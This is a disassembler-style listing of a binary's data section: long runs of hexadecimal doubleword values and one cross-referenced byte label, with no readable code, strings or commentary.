		dd 1CCE50h, 728766B1h, 701FBE23h, 0AFD4900h, 1DDFCD5Ch
		dd 454800B2h, 8FFA2D9Ch, 44008082h, 47BFA439h, 0C071F0h
		dd 0D8189A19h, 4FDE5F1Fh, 2A3D8000h, 9284F2E3h,	0DF4E0017h
		dd 596CD16Ah, 0C498E46Dh, 99D5B0Ah, 5E0084CDh, 7180ED21h
		dd 8A60BD58h, 295263F2h, 0E74E00D4h, 57CF93F4h,	6FD73E9Ah
		dd 19F0680h, 77E95AE8h,	40EE3Dh, 0AA659E43h, 3E4BDF12h
		dd 1C944EC7h, 1502FC5Eh, 45FB0676h, 0D013B080h,	8900DD60h
		dd 0FC55D40Ah, 3226C4h,	1BC09728h, 0CFBA78C8h, 12E2511Fh
		dd 5C6F907h, 4CBB9870h,	55EC0056h, 0CA603DDh, 49C05372h
		dd 4F2B908Ah, 0C6CD004Dh, 2E54AAC3h, 0F0F737D9h, 4900144Ch
		dd 0F64A23C7h, 725744h,	0E60F994h, 2071BEBh, 0EA1CA700h
		dd 17CBA9D4h, 7E660E51h, 0FDC0FEAFh, 0BAE1C938h, 0FCFAA400h
		dd 1F50F70Eh, 0A30D0029h, 0CF8BB97Fh, 633EC7E2h, 1833070Bh
		dd 0B750D9D5h, 1F9A5FBh, 5F787F73h, 0E8381436h,	8200DCF5h
		dd 1828B759h, 3FA72E12h, 0D400A209h, 4F3243AEh,	920076FBh
		dd 99D03741h, 9FA4B0h, 6960C1ECh, 952F87F9h, 1C26B700h
		dd 81B2DE64h, 0C5CC1D61h, 396A03C2h, 88D02B27h,	89005D7Eh
		dd 3236DBE9h, 72DA0B25h, 0AA63006Ch, 50D22D18h,	0D3F08CFh
		dd 8ABB001Fh, 562E02D6h, 4D780031h, 5FAF41FBh, 0A748E7D5h
		dd 614A00D0h, 48D39F8h,	0F5400063h, 0AF908F69h
		db 0DFh
byte_520045	db 2Eh,	28h, 0C4h	; DATA XREF: ___:00437A28o
					; ___:00437A40o
		dd 1C03F446h, 334C5ADBh, 2548C00Eh, 9FE1EACh, 45D813Fh
		dd 2055018Ch, 0C400E9A8h, 0FE65D1A2h, 3E5B478h,	0B5FAFF37h
		dd 32D00B15h, 7F004F02h, 0D8E9FDE7h, 7E1274h, 0A4A77A27h
		dd 17E1760Ah, 2E579300h, 1DE4071h, 0AC361C47h, 96BA805Dh
		dd 0EEE419CBh, 0A74CD501h, 406AA6D7h, 761C35FCh, 0DF7DA5h
		dd 5288A4B6h, 0BA3C2399h, 63394900h, 0BECA715h,	0F866E84Bh
		dd 9E9704DAh, 80C64758h, 0FB9AD1A0h, 6443FF00h,	0CB3AFD82h
		dd 0DF2C0021h, 0F7BA614Dh, 6300C903h, 0DDCE3283h, 0CB093Fh
		dd 0E09882F0h, 38B816Bh, 87A1DB3Ch, 0E69637D4h,	0A87C6600h
		dd 0F021FB1h, 2DD843A6h, 0F6C8CA12h, 0F80EA09Fh, 20D10BFDh
		dd 2AEF6992h, 397FA13h,	7291847Bh, 19507E5Dh, 2C18E09Fh
		dd 0D7106C3Fh, 40480416h, 805BFAC3h, 809F1A0Ch,	6E552B00h
		dd 0D963DF44h, 7D190046h, 0CAB74190h, 0EA0C9B97h, 1042DE2Ch
		dd 3E800365h, 0CF403602h, 7245B3BFh, 0F91EAAB0h, 1DFC012Ch
		dd 0B5FFD00h, 13E40E1Dh, 0E245EF3h, 10988014h, 7200E53Dh
		dd 545214D2h, 6C7322h, 0EAA507BCh, 0A76A2813h, 34C99D00h
		dd 0D4BF85AAh, 4DF600F9h, 7E231F72h, 0E04A0D2h,	0BD4C2AE3h
		dd 0AFA37AC0h, 0DD1803E8h, 0AC90BE83h, 0E6EA201Ch, 0F9785180h
		dd 3F30D3A1h, 0C400FC9Fh, 0BE26A75Eh, 0DB008654h, 828C896Dh
		dd 0E23C3F39h, 814F00AAh, 9E854373h, 1700F0C4h,	0EDDC9C05h
		dd 794D215h, 0AE6D8162h, 1966E04Ch, 0B203BE9Eh,	5628143Fh
		dd 81DCCBD3h, 5C9AE9Bh,	0C9239C40h, 0D4010088h,	9C1C0240h
		dd 0DD069AF7h, 1D69B4DEh, 91A10010h, 3DE27D7Ch,	0A9740E38h
		dd 0D9758500h, 8E1BDBE1h, 4BB83017h, 78BFDC50h,	5AB88C72h
		dd 298B1D00h, 7A030CE5h, 0D16C0052h, 6EA0E4Fh, 0E9008EF6h
		dd 429E6496h, 875E8Bh, 39DFC07Ah, 994A4F41h, 3043A00h
		dd 78675C31h, 196F0020h, 0E1A4FB34h, 6851922Fh,	9CB940E8h
		dd 9800403Dh, 42EDD673h, 6C71Ah, 1E91FD1Fh, 79DE7C54h
		dd 23E3C600h, 0C36824A5h, 70250021h, 3B8C14CCh,	60E7CF72h
		dd 0F4001D39h, 1BE0D16h, 3DD6A95h, 8590E4B4h, 0A0981E7Eh
		dd 1A017F50h, 0A714B557h, 8C5070CAh, 85128h, 0F4500A6Dh
		dd 75AB4BA3h, 1A6E290Ah, 9F00A6E8h, 5E2474E0h, 9BB539D3h
		dd 1B80BA00h, 0FD458826h, 2E012B7Eh, 5AA4A07h, 0CC301E41h
		dd 8FDE071Bh, 6095B215h, 2D886056h, 9E397238h, 140C362h
		dd 161C20E3h, 94E50FDBh, 67A0128Bh, 3E3B2C96h, 0A839F200h
		dd 681708B6h, 0E0A00001h, 9CACBFC1h, 0D07428E2h, 0AD35DF00h
		dd 2DD58AA9h, 0F821615Fh, 7AE987h, 1EF619ABh, 40886A69h
		dd 0ADC37D67h, 0D090DE35h, 156C0A00h, 0CEA9A597h, 0FB07006Eh
		dd 0E556E0DBh, 3500E2A3h, 847A4574h, 24E6E849h,	1FCC8B5Fh
		dd 0C0F7405Ch, 0FB8C82C5h, 702FDF00h, 6D61102Ch, 364B00E3h
		dd 3A097C57h, 6F00C0E2h, 852EC5E1h, 4BC82339h, 8500FE0Ah
		dd 0D31C4AAFh, 6258009Dh, 0B1F178EEh, 13030F20h, 0DF42B8A8h
		dd 37CD083h, 49717F3h, 778E075Ah, 48DBA0FDh, 289A4042h
		dd 0D443C700h, 6BF7413Ah, 0AAE206h, 75FEEAD2h, 7EFF28C5h
		dd 0A03DA601h, 76565573h, 3B18B020h, 341DBC1Bh,	0FD5786FFh
		dd 0B800A824h, 0EFA94B6Ah, 4E8F99h, 0D9C97526h,	567A2D8Bh
		dd 726B2F00h, 0F79BA4C5h, 817F00EBh, 0CD0F6827h, 1900A6AFh
		dd 8707A02Dh, 0E7C2B30h, 62912912h, 0B6B14BE0h,	550AC69Fh
		dd 0A47AA35Ah, 0CE02BB00h, 0D26E0Ah, 431C99E5h,	803ABE33h
		dd 84498124h, 4C5D5A00h, 7640A16h, 0B328753Dh, 0FFCE5002h
		dd 7900E3C1h, 3F56C60Bh, 20A1D08h, 5CEF88F6h, 0D84081AFh
		dd 0E2108F86h, 2700D067h, 0DBAEE162h, 6500B9FCh, 762810A2h
		dd 0C3AA91h, 9B9C39CDh,	0B011B830h, 4FD81C00h, 0DFCBD1C8h
		dd 91BB0255h, 43280FEDh, 742BCAE0h, 0A87A3930h,	904C8EEBh
		dd 9F8700D8h, 0B689367Dh, 8EA2D86h, 0C0A98503h,	0D8590A3Ch
		dd 799F1428h, 0C2902473h, 0C90F8760h, 0B8DC2BF3h, 0CFA1404h
		dd 0F045AC80h, 2A5A027Bh, 0DA67687Ch, 11077963h, 0FD5E7901h
		dd 6C8CB009h, 6EE814h, 0C511D64Ch, 0E729194Eh, 0B928B5F2h
		dd 3900C4F8h, 0FFAF88BFh, 791AF662h, 9007F45Ch,	909100B8h
		dd 0EFA254A4h, 0B60F33E6h, 808E613Eh, 8701E466h, 370E00A9h
		dd 0F8599F35h, 242434F0h, 0C816485Dh, 91FB2C00h, 180D7C1h
		dd 0F85FC94Ah, 0D7517599h, 20FA16C1h, 0B1588998h, 3B9600F4h
		dd 4BEF36E2h, 4431487Dh, 0D18F0B00h, 0E9555B9Eh, 2F67703h
		dd 0B8F504F9h, 798031h,	0FE58CC7Ah, 593B833Ch, 55199C02h
		dd 40528AEBh, 6A51D8h, 23F545AFh, 99B70A8Fh, 0ECDFA0C2h
		dd 0F70540FCh, 1BBFC6Eh, 927716CFh, 30598E01h, 1B00C05Dh
		dd 0A4D35FB8h, 1CECFEC3h, 802965EEh, 4920844Ch,	360407CBh
		dd 0FA76A003h, 46BD1780h, 22D80187h, 576163F9h,	0A48ECD3h
		dd 0F5A2B200h, 0FD66E76h, 0B7A50038h, 2318CCBEh, 0C6FC4681h
		dd 0E0065F0h, 243997Fh,	7F9FE57h, 0B0161378h, 0F8C8A0E9h
		dd 3D008368h, 0D6400E3Bh, 0AD703h, 776207D9h, 9447FE35h
		dd 0F83E6000h, 6E5F446Bh, 0A45A0158h, 87532A57h, 0FCCAE9BBh
		dd 8C03CD47h, 11B1FBE0h, 5981F0CBh, 0CC89262Bh,	9425045Ah
		dd 0A70983B9h, 57621100h, 52EC4168h, 0D23A00C0h, 63F83DFDh
		dd 70487F7h, 0C90C57Bh,	41858482h, 970F34Ah, 1B0B00A1h
		dd 3D5D5988h, 0EB0B0730h, 1AFD62Fh, 3AF98D1Ah, 0FB5CC12Bh
		dd 0D390406Ch, 9D18B4E8h, 1101BB9h, 0E4E73937h,	88C7E680h
		dd 0DAA627DCh, 2C1A4300h, 0D5F8D625h, 8D910020h, 24192306h
		dd 0B5F6BCB7h, 0DE25EA00h, 12DE45Dh, 1D0FEA61h,	8C31C93Ah
		dd 67C05322h, 0E8008474h, 5191A8F1h, 0A006CEh, 196D90A3h
		dd 0F77D97AEh, 0FC155600h, 87A2ECA8h, 0C1CA0740h, 109DDF36h
		dd 0A151E8DCh, 1EAEB007h, 0DD907430h, 93DBF4h, 0D9A224Ah
		dd 2708D044h, 7FEC5650h, 7A0001F4h, 3E8660B1h, 96C7Ch
		dd 0EFCD2DDDh, 0AAC45A17h, 5EE0ACA6h, 11BAC00h,	0AF195259h
		dd 656B1E33h, 0F86C94ADh, 3200BA21h, 0B9D5D7DBh, 0BD3301E3h
		dd 0FB767FE0h, 0E459C0F4h, 0D9253C00h, 4950AEFEh, 0A3EE261h
		dd 79982A8Ch, 49481FB8h, 0C000E725h, 0D7B9DC03h, 0F133F00h
		dd 0D3E2ED41h, 2BE101ADh, 38C5B4A1h, 1184ECE4h,	9C4AD200h
		dd 0CCDDE273h, 945C008Eh, 28D7DEEh, 4B00DE6Eh, 8FE69D0Bh
		dd 9A04A8h, 421C9377h, 7BADD7BFh, 289948h, 0E8487FF0h
		dd 0E6FC7683h, 9C8200A8h, 65A13A10h, 1BFE612Fh,	0B6E36607h
		dd 5C5E1354h, 76937B00h, 713841D1h, 65B4007Ah, 0F490C211h
		dd 0D8F68759h, 0C8F6910Eh, 34558025h, 2E5E880Bh, 5D582Bh
		dd 68CB395Dh, 54022E82h, 2F0F50DFh, 2A10404Ah, 0B78F008Bh
		dd 0BC67D03Bh, 8301D4E1h, 0F2B6992h, 0A8EB3D72h, 74A7665Ah
		dd 313EA75h, 12C19FEEh,	0C6D84D87h, 3C00D660h, 0AF66D449h
		dd 6094BC7Fh, 507119BFh, 0EF60AA2Ch, 0ADFD6711h, 187398A0h
		dd 0E0F8D14Eh, 0BA00FBBEh, 0B781DC3Ch, 1D0A6C52h, 824CE12Dh
		dd 0D2734EBCh, 5D051040h, 84D33401h, 0F32CD921h, 8FE024h
		dd 9CCD50A9h, 0BEE50291h, 83123Dh, 0F6FE370Bh, 0B7ECC1h
		dd 6469D054h, 0A1B7AA8h, 64C64Ch, 0AA241850h, 0FABAEB52h
		dd 8BC70032h, 0B0B4D55Dh, 0ED0E4909h, 9E93DE0Bh, 0BD8207C1h
		dd 0B9708D2Ch, 2BAA3BB0h
		dd 0F3DF7F80h, 73B9FAB2h, 70F2E500h, 0F4F8C450h, 4A7590h
		dd 0FDF0C3E0h, 564F1CA6h, 2AFE3404h, 70806E3Fh,	7225A62h
		dd 0CE2CCFC0h, 0BCB4CFBAh, 6C28A701h, 20BBC660h, 0C075356Fh
		dd 1F23F400h, 0C806E9BCh, 252200B9h, 7B726473h,	6C007E7Ch
		dd 39AFE2D6h, 0B920BEh,	2E5B262Bh, 9D9FA334h, 0CB8CAC00h
		dd 776CEA06h, 0F22B07BAh, 0F05648DEh, 0AEA90DC7h, 15E8BF00h
		dd 0E02A07Bh, 9784000Ah, 0F2C1B682h, 7800F57Ch,	45019DDBh
		dd 0BEA4E1h, 53EBAFBFh,	340B6EAh, 572DC900h, 6204FEDBh
		dd 1E28009Dh, 862782A2h, 7B245113h, 0F10091D7h,	19CFE24h
		dd 708A00ECh, 170A8DBEh, 8178B190h, 0EA16380Eh,	0A3B78048h
		dd 0B896E2A2h, 2F722Bh,	0C1AACE95h, 8E3BA7BEh, 0FE89007h
		dd 5850237Ch, 2E0735h, 5B1BE788h, 0CAC19971h, 5E0364EAh
		dd 4452A04Ch, 338BB0E1h, 0D5CB000Ah, 31B6981Fh,	0FC73C468h
		dd 705B438h, 366DD00Dh,	0C6D63C40h, 52E1032Fh, 64C303F4h
		dd 47B1C09Ch, 8603C875h, 90CFD18h, 83B3B04Bh, 15630072h
		dd 408A208Dh, 2D00C77Bh, 0A7AAF9B4h, 0C3A55718h, 0CB6794B8h
		dd 0D24DDCB0h, 0E7F1C0Eh, 0FE7800DFh, 5A54ACh, 9E450A39h
		dd 0C91F170Bh, 7E062200h, 1A08CB8Fh, 3367E697h,	1251E8D2h
		dd 707E9804h, 0FE407646h, 614A0931h, 150A8A00h,	6CE5B534h
		dd 0FF9203E9h, 41DE19B9h, 0C30C67D0h, 38911A00h, 60368E45h
		dd 0C58A0705h, 20899E72h, 28CCCF0Dh, 6C311500h,	2BEFD532h
		dd 72C4071Bh, 80037046h, 0DF40D80Bh, 0B8693C1Eh, 0B33498F9h
		dd 3F3BC88h, 589D8177h,	0F9C0167Ch, 0F07A332Bh,	27C7F200h
		dd 0D71DEB78h, 0EAE50048h, 0D160EE06h, 573734Bh, 30017EAh
		dd 84E3D614h, 98E58B26h, 3DC13B6Bh, 244F6F2h, 772F900Fh
		dd 1860346Ch, 450F1AAEh, 0A09310F8h, 0FF19627Ch, 0C9950085h
		dd 9E068478h, 0AE39822Ah, 8DE91C1Fh, 41350880h,	0F6CF11C8h
		dd 0C40F3C1Ch, 4B2DC300h, 0A310A606h, 1007378h,	300E297Bh
		dd 0F2BA20h, 0EB663BB5h, 0FEDF09B3h, 0E72DE81Eh, 0D549C003h
		dd 0F645C822h, 0A3CA16BCh, 275BC33h, 0D3177656h, 0A1CE4058h
		dd 746E3DA4h, 0C52B0480h, 0E3E9AF97h, 622C3Dh, 0D93926A3h
		dd 3996D62Dh, 1080FFC9h, 0E4B759A5h, 1C00873Eh,	4B7286AEh
		dd 56F93Ch, 89240591h, 0A4CF3E1h, 9A3B54F2h, 361FB0E5h
		dd 7ECB6BA2h, 9F530063h, 1439EC87h, 3850AD76h, 0AF383788h
		dd 287200BBh, 2CDD26E8h, 7E5500A7h, 0E3276606h,	8400D917h
		dd 0F7DC12FCh, 0F60F7746h, 0EEBF71ADh, 12C9EAB1h, 472E63F1h
		dd 50A05C50h, 9BAA82D3h, 12A42700h, 68328155h, 0F78700EAh
		dd 98CA3E96h, 31001A88h, 0CF45EECDh, 229DA7h, 28DE1151h
		dd 0D2AB17F3h, 0C25FA000h, 5CD8538Dh, 703378DBh, 5BD4002Bh
		dd 0E952AB96h, 0E2008579h, 87E0A114h, 190DE79Fh, 90895F46h
		dd 1FC02068h, 0D883E907h, 6D7069D4h, 0C854E7h, 6BA1F744h
		dd 0A93D94B7h, 0A2CCF401h, 48EE9C61h, 49A4E0h, 42ABF2CDh
		dd 8254CAB0h, 0BF841238h, 0F043932h, 20286159h,	0D2DFCD30h
		dd 6E680EFBh, 4FC20EA0h, 0E0818DB5h, 0F4021C70h, 0B7000729h
		dd 8AEBCD7h, 3538B36h, 0EAA5248Dh, 72D83D85h, 0E81E8819h
		dd 0B440DA9Ch, 8B0B37BAh, 332F0281h, 0B946D62Eh, 0BE3CE448h
		dd 0F244F700h, 0FB09FF0h, 82F50054h, 0ABB2532Ch, 7F00AEB5h
		dd 7BFF884h, 7C0FA45Ah,	0A5AD00CFh, 3D932B8h, 6B002B6Ch
		dd 8EE3FFEDh, 1FCD255Ah, 0B3C454Dh, 6580A412h, 4B785DC2h
		dd 8FF28590h, 81CCE400h, 6F177144h, 0AE3A004Fh,	2CF52BD6h
		dd 8060F8C0h, 0BB627DD8h, 0C314992h, 0A7643600h, 0C330F76Eh
		dd 40035A7Ch, 39935DA9h, 0C0C00A6h, 0FF32519Bh,	20266B23h
		dd 3D004202h, 690EA7E9h, 17814876h, 83F67902h, 0AA813090h
		dd 0C02E31F4h, 0A60036B6h, 8C7AB849h, 2D187BBh,	21613476h
		dd 0D9809EEAh, 7D42AC80h, 7703D375h, 336C62B5h,	0D6B1E75Ch
		dd 0CCD89F64h, 0AE8C28CEh, 3ED91CA0h, 4F6AC0EBh, 667B3AE5h
		dd 527E2C72h, 0F9EDC700h, 0F78908FCh, 0A6E600D8h, 0A1FD647Bh
		dd 0B139012Bh, 4D2770FFh, 652680A9h, 1A392DD6h,	1C1E7ABDh
		dd 4DB44868h, 37854400h, 0A6011245h, 29C80458h,	0CF997DF6h
		dd 303EA200h, 0DF042466h, 98CB6F22h, 724D7C80h,	88C4072Ch
		dd 71687BECh, 0F00A0F91h, 3092224Eh, 56C5A001h,	0FF585ED8h
		dd 40AE30h, 54FC2D63h, 0BA640C61h, 0E0CD1024h, 0B37A7500h
		dd 0C0CC6907h, 0E163E610h, 0E72E893h, 4EB5F100h, 0CFAD7E94h
		dd 25BD0066h, 26356F86h, 0F6480E33h, 367900B4h,	30811AACh
		dd 491E0014h, 10E034CCh, 983B5202h, 9120E7CAh, 1370B500h
		dd 40010F31h, 40F253F4h, 9E64F544h, 0E52D0405h,	167DF0C1h
		dd 289055h, 0F850D54h, 0C3000A11h, 96F2DDFCh, 539F12h
		dd 469C0B45h, 6D3CC448h, 0A5BDE900h, 0C6DE2149h, 0A27D5Bh
		dd 0DC51A613h, 0B2306E28h, 0E3423613h, 0A91C0Bh, 0A926090h
		dd 847A25h, 2FB71017h, 5723D96Ah, 0DE805960h, 1C386753h
		dd 4089A8EEh, 15CF994Dh, 0DF00BF21h, 179B2FE5h,	8737E3h
		dd 0D2AAF3A2h, 0B7F80366h, 0E99A9C1Ch, 52D94300h, 0DCC29Dh
		dd 4FE48D51h, 3E1C4E79h, 64FB2C0Eh, 65FD2777h, 67CADC90h
		dd 0D0140392h, 1174BD47h, 7394DED0h, 0AD410205h, 9C00A27Eh
		dd 0BE4F29D0h, 98EA60h,	3D6E4875h, 0B29B5928h, 0AA7D800h
		dd 0C80A099h, 88123BE0h, 4D4B9E00h, 59A30DCAh, 0F1F55801h
		dd 0A93E7FA2h, 0FFC5D8h, 762DD00Ch, 9CD6384Eh, 0EE4C5200h
		dd 282C0ACFh, 393E00B0h, 1C0CB6EFh, 8075682h, 3C019F76h
		dd 2AB1Fh, 657B115Ch, 3007072Fh, 20BBB8C4h, 0FB918144h
		dd 3C52D101h, 0CD8939E3h, 9012D0h, 8D0ADFB1h, 9AE1F16Ah
		dd 0FE1CF872h, 0A7812AF5h, 25C09876h, 1137CECh,	2CA42D9Fh
		dd 304CFFDEh, 4800636Ch, 870974F7h, 583CE4FDh, 7B00005Dh
		dd 0C62F517Ah, 772847E2h, 8000F7B4h, 1411E3ABh,	0E4C573h
		dd 5D2F9EC9h, 479BFAEAh, 0A023F214h, 8CF128Eh, 4957080h
		dd 0EB4A0011h, 47FDED0Ah, 6D00ACC9h, 0AB2D89D2h, 0E37FC1Dh
		dd 70B4D7F3h, 7357DB60h, 0BC002AC8h, 4CC8A6Eh, 1D09CDF8h
		dd 4058E771h, 0D5934CE0h, 7C0EDD98h, 0ED13CB9h,	0C543207Dh
		dd 72BED78Eh, 4D740E72h, 37EF11h, 645ADB47h, 7000062Ah
		dd 0DF94CBA9h, 0C98A30h, 2D7B3448h, 951C6AB2h, 9183D500h
		dd 0FC8D43Fh, 0A9C31C71h, 0AEA6E2h, 449EF14Bh, 1A00174Ah
		dd 0F0439F05h, 504D5F36h, 0F259A23h, 20BC4130h,	7439B240h
		dd 77005013h, 26D744B7h, 0D52D58h, 0F90B7362h, 8A814AF2h
		dd 47DE5407h, 4B40039Ch, 64D07Bh, 387DD146h, 5EDF289Ah
		dd 0CA82EC00h, 336576BDh, 0EEE31385h, 7D8C001Ch, 219F1A14h
		dd 52CDC600h, 87793534h, 0A3DD00B9h, 0D12EBDF9h, 490ECA6h
		dd 8DC0FC02h, 608E37BCh, 45ACC8h, 0AF1A67F1h, 8F8530C3h
		dd 8634660Fh, 8A35609Ah, 7996A96h, 98659C22h, 7364621Dh
		dd 41240C87h, 82149A6Fh, 0FCE2D408h, 215060EEh,	0BDA90606h
		dd 766376BBh, 0C3B470C0h, 3300CF5h, 0DDEDCC7Ah,	42E02F39h
		dd 180554A1h, 4876B6BBh, 0BEBA1802h, 7B7868F5h,	521630C1h
		dd 0FB4EF109h, 94255301h, 9360C06Ah, 0B66F1800h, 0F284B200h
		dd 0CB015B22h, 7E210A4Bh, 0F46069h, 537A92E7h, 14500216h
		dd 20790A84h, 17897700h
		dd 0ECEDCF9Ah, 4C2E5059h, 95F518F4h, 7B48787Fh,	0D7B3870Ch
		dd 27799F2h, 0E622C067h, 5AC3AEA9h, 3618ADA0h, 1001DCBAh
		dd 3015326Ah, 0D3D43CA5h, 71D0B67h, 0B0E3FABh, 0BF0DADE0h
		dd 760A88FAh, 0CB33319Ch, 0F992A700h, 0E2F41396h, 0E4100990h
		dd 4709A44Dh, 3B5A208h,	4E2CCF47h, 0AE3EBC0h, 103C04F0h
		dd 3823016Ch, 5F803F4Ch, 1F1108Ch, 63061FB0h, 0FAC2EE42h
		dd 5B742020h, 443BB888h, 62B22F0Ch, 906E119Ah, 20AB0193h
		dd 1936A9BEh, 940898B6h, 2A35921h, 0ADF62348h, 0C0D5CD62h
		dd 54C33111h, 4019007h,	787C66F5h, 2D17C302h, 3A7BF680h
		dd 61CD9500h, 18E0C569h, 3DE438h, 0EF572D54h, 0DDA69B84h
		dd 6DC78D09h, 1B582135h, 0BCC0214Fh, 89520C51h,	260859BAh
		dd 46F421C1h, 22C0D321h, 3B1D018Bh, 0BC74FAC3h,	0E8B18F9Bh
		dd 97B60658h, 6B1F0C11h, 0A428257Eh, 604B114h, 2F430588h
		dd 84305C18h, 23AD48CFh, 9211CE20h, 48B15700h, 2482D4B2h
		dd 2C8E6B5Ch, 84005662h, 0FEF22F7Ch, 9B3406EBh,	7013658Ah
		dd 0D174F026h, 60D50Eh,	0FCE333B0h, 3E6D00D0h, 0F0481CAh
		dd 220EE1A0h, 80E81A96h, 0FCA4B77Bh, 770F880h, 36BE62Dh
		dd 9A1EF008h, 107AAE5Fh, 1D004A74h, 11A08E92h, 1D862C9Bh
		dd 25E048Fh, 0D92B0593h, 99711340h, 991EA14h, 8CA2114h
		dd 0D8880643h, 0AC82BF70h, 0EE2C9AECh, 109E8913h, 28837402h
		dd 2921AB2Fh, 9CA30892h, 19924090h, 10F629FAh, 48E89F90h
		dd 0FB00A9A5h, 814613C4h, 730EA7E0h, 419AF722h,	2A0B38DDh
		dd 0E1956C0h, 0CCF54A43h, 13F43AA0h, 86013EEDh,	49F7F369h
		dd 0A1C0AEBCh, 0EE410034h, 1FB9D864h, 5C64D1C8h, 3280C558h
		dd 0E4F7123Eh, 0CE33000Bh, 2736BF6Bh, 3500A2B1h, 21C34C4h
		dd 9769B025h, 0A5004BF8h, 46928CEFh, 0AFD88A7h,	729160E9h
		dd 0B41D00C0h, 0E0119A2Ah, 0BAEFA300h, 0CBDFDE78h, 0F6D90EEh
		dd 1C45312Ch, 95823F00h, 64006DF5h, 6EBB9201h, 24F9EAFh
		dd 0B86A2DDFh, 0FD801A2Eh, 0BFB54619h, 5F577706h, 2A680DB7h
		dd 68169Ah, 0AC359640h,	32B4125Dh, 926BD000h, 589D516Dh
		dd 0A88700CBh, 0C26550C0h, 37FEE334h, 0A797C100h, 0DF256C38h
		dd 0A09803h, 1C0850FFh,	63C1B275h, 0CA83521Fh, 0C0D6568Eh
		dd 9EF6F5A7h, 0A85E0093h, 0FCB22EB0h, 0D009729h, 8B0A3E2Ah
		dd 45E1C5h, 0D7CB4BBFh,	3172B714h, 0B6522F0Fh, 0ECDA2058h
		dd 54F74B5h, 6D262E88h,	9900EF7Eh, 7FAE39CBh, 0A213486Bh
		dd 5DAA170Bh, 0BF80EB80h, 6C0B73ABh, 80EF3F78h,	0E822B221h
		dd 45F46Bh, 0A51F7CFh, 9E6A41BAh, 99F0CA00h, 0E1A5085Fh
		dd 485E04ADh, 0C0ABCD2Dh, 0B9DE844h, 0B21ED900h, 0BB42733Fh
		dd 4156004Dh, 0BEC34769h, 68F87C01h, 81902300h,	0D0B7F951h
		dd 83AC0071h, 454BA2E5h, 70008FE7h, 3278E4A8h, 563A96h
		dd 0E3ED4C42h, 0ADE0E85h, 17557100h, 2BBADC91h,	135C0163h
		dd 606A9DDBh, 0C4C8710Fh, 1600E193h, 22284056h,	7A505ECh
		dd 38F3FB4Ch, 805B77B1h, 36C99B5Ah, 0CB8FBB00h,	55BA09FAh
		dd 0F8FF1E6Bh, 0E8AE80C3h, 9A75D91Fh, 34400A2Ch, 41224400h
		dd 605A2Ah, 77C3B7C6h, 8A9FF70Fh, 0DEE6E200h, 0CD6774FBh
		dd 0D4A0C7E5h, 3A8880EBh, 0FC1F4330h, 5F010B2Dh, 0DABE829Bh
		dd 12E1C4h, 8DC2B94Ah, 6E4D682Ch, 1A004FFCh, 58A6AA23h
		dd 65CE1Ch, 202927FCh, 99B478Eh, 0DBBB3000h, 210E8AA2h
		dd 0ACC11E92h, 0CC07002Fh, 82FFB7D1h, 1A0B8900h, 0B237434Ch
		dd 8C790069h, 0D8E0CCD2h, 0EFFE6EECh, 0F746470Eh, 17E4800Dh
		dd 771D786h, 30619E2Bh,	0C66850E6h, 0DD1F4B58h,	2140C4B9h
		dd 0E59CE395h, 3070EAAh, 64203E44h, 9E503010h, 558F4500h
		dd 0A8D15F84h, 37A76DEh, 4B524D97h, 0CAF8F46Dh,	0F1E8EF80h
		dd 5E229A00h, 70C583ADh, 1F7F0210h, 8E952657h, 80F5A884h
		dd 39F3BB70h, 89A8E650h, 0DF620907h, 0D720B1DAh, 79AB06Dh
		dd 2093682Ah, 47DD3E2Bh, 2B731A92h, 4986600h, 0FD7B68F0h
		dd 824D2300h, 2A5896A4h, 77CB009Eh, 0E33C10DBh,	0A60FD4EAh
		dd 0C02501CAh, 9DD8AE4h, 8D9B3A2Bh, 32933300h, 52A8D5C0h
		dd 0F55AD600h, 0DAD37D17h, 0F2DF004Eh, 0C55B0293h, 0A9026C08h
		dd 0CCA421ABh, 6E4BC0FDh, 32403C69h, 0C0301F1Eh, 9014C4B0h
		dd 0F2005BD6h, 8BA137F6h, 4038773h, 33284632h, 7291806Fh
		dd 0C3F2117Dh, 0ED10BF00h, 4E8DD915h, 0A5E00B0h, 0BB820D38h
		dd 6F008CCFh, 0CEB26F7h, 461CD6h, 8F3A6936h, 30378E91h
		dd 1D64B0C0h, 1E672821h, 0C02785E4h, 94E356EFh,	8200BEC4h
		dd 0F5D3D157h, 0E975E07h, 0E89DD65Fh, 0C87A38E0h, 0F9EA69B1h
		dd 0BFEF253Fh, 5D890040h, 9F48E442h, 5E280007h,	7A35E663h
		dd 0EB0D374h, 1F605B05h, 0E040C07Dh, 8A1AB53Dh,	3AC2788Dh
		dd 1B00B8F5h, 89A1D947h, 4F8B6A3h, 9718F762h, 81E78056h
		dd 3C79C63h, 0B7A3FC41h, 0F3B8DBC8h, 0A800A726h, 8031EA85h
		dd 0D70C71h, 579E2E3Fh,	589095F8h, 0AD335B1Fh, 0CC53A101h
		dd 8120FBEAh, 0A8E700EEh, 0C4CF0181h, 0B15823A2h, 350076BBh
		dd 90E68025h, 0E8075347h, 306A177Eh, 0CCCE0044h, 0E4C797DEh
		dd 73D8AD04h, 0FC8882CAh, 5A77D7h, 0FE1DD2A1h, 9BBDDDA4h
		dd 0EDF13300h, 0AABCD18Ah, 24C3B1Bh, 0A7BBB180h, 1D4A836Eh
		dd 81F21901h, 2C52C116h, 0C0CC55C9h, 2DBA00C7h,	0D1D73BBBh
		dd 0B7D464h, 75787A85h,	0EC6CF48Ch, 615B0026h, 526887C9h
		dd 7900181Ch, 0E0B781ABh, 0AAE344h, 297C789Eh, 0A1B620EAh
		dd 7192F200h, 4B244572h, 1CA200C2h, 63FA6553h, 0AB0037C6h
		dd 0D41D57C9h, 3C320Dh,	2BAC127Dh, 727A8CF3h, 100E098h
		dd 64C6D43Fh, 98C841CBh, 407600E5h, 910862F3h, 0C0003057h
		dd 17710DCAh, 31A738h, 5B9F2B72h, 9E6F9B43h, 9AFBD750h
		dd 5833F207h, 0E0621A9Ch, 0B06848B4h, 25CA004Eh, 0C82F9E3Ch
		dd 52001B19h, 8882C76h,	9336F8Fh, 6A7BF541h, 0ECFB5080h
		dd 5A143489h, 0F66531h,	0A8773954h, 386D0BB4h, 801E6055h
		dd 65A63A96h, 0B8A10044h, 0C61AAA0Fh, 5CC1F600h, 57FF5F3Dh
		dd 581F03F0h, 8E229944h, 4AB3F3D8h, 65BC1904h, 34C01325h
		dd 128F47A1h, 9CF605h, 960ED9ECh, 3900B109h, 26FBBF3h
		dd 3CE67E4h, 76BE22DAh,	43B89B46h, 3500F134h, 510C8EADh
		dd 911E81h, 0C87F3912h,	0DA9638F7h, 0F4DBFE13h,	5CF8001h
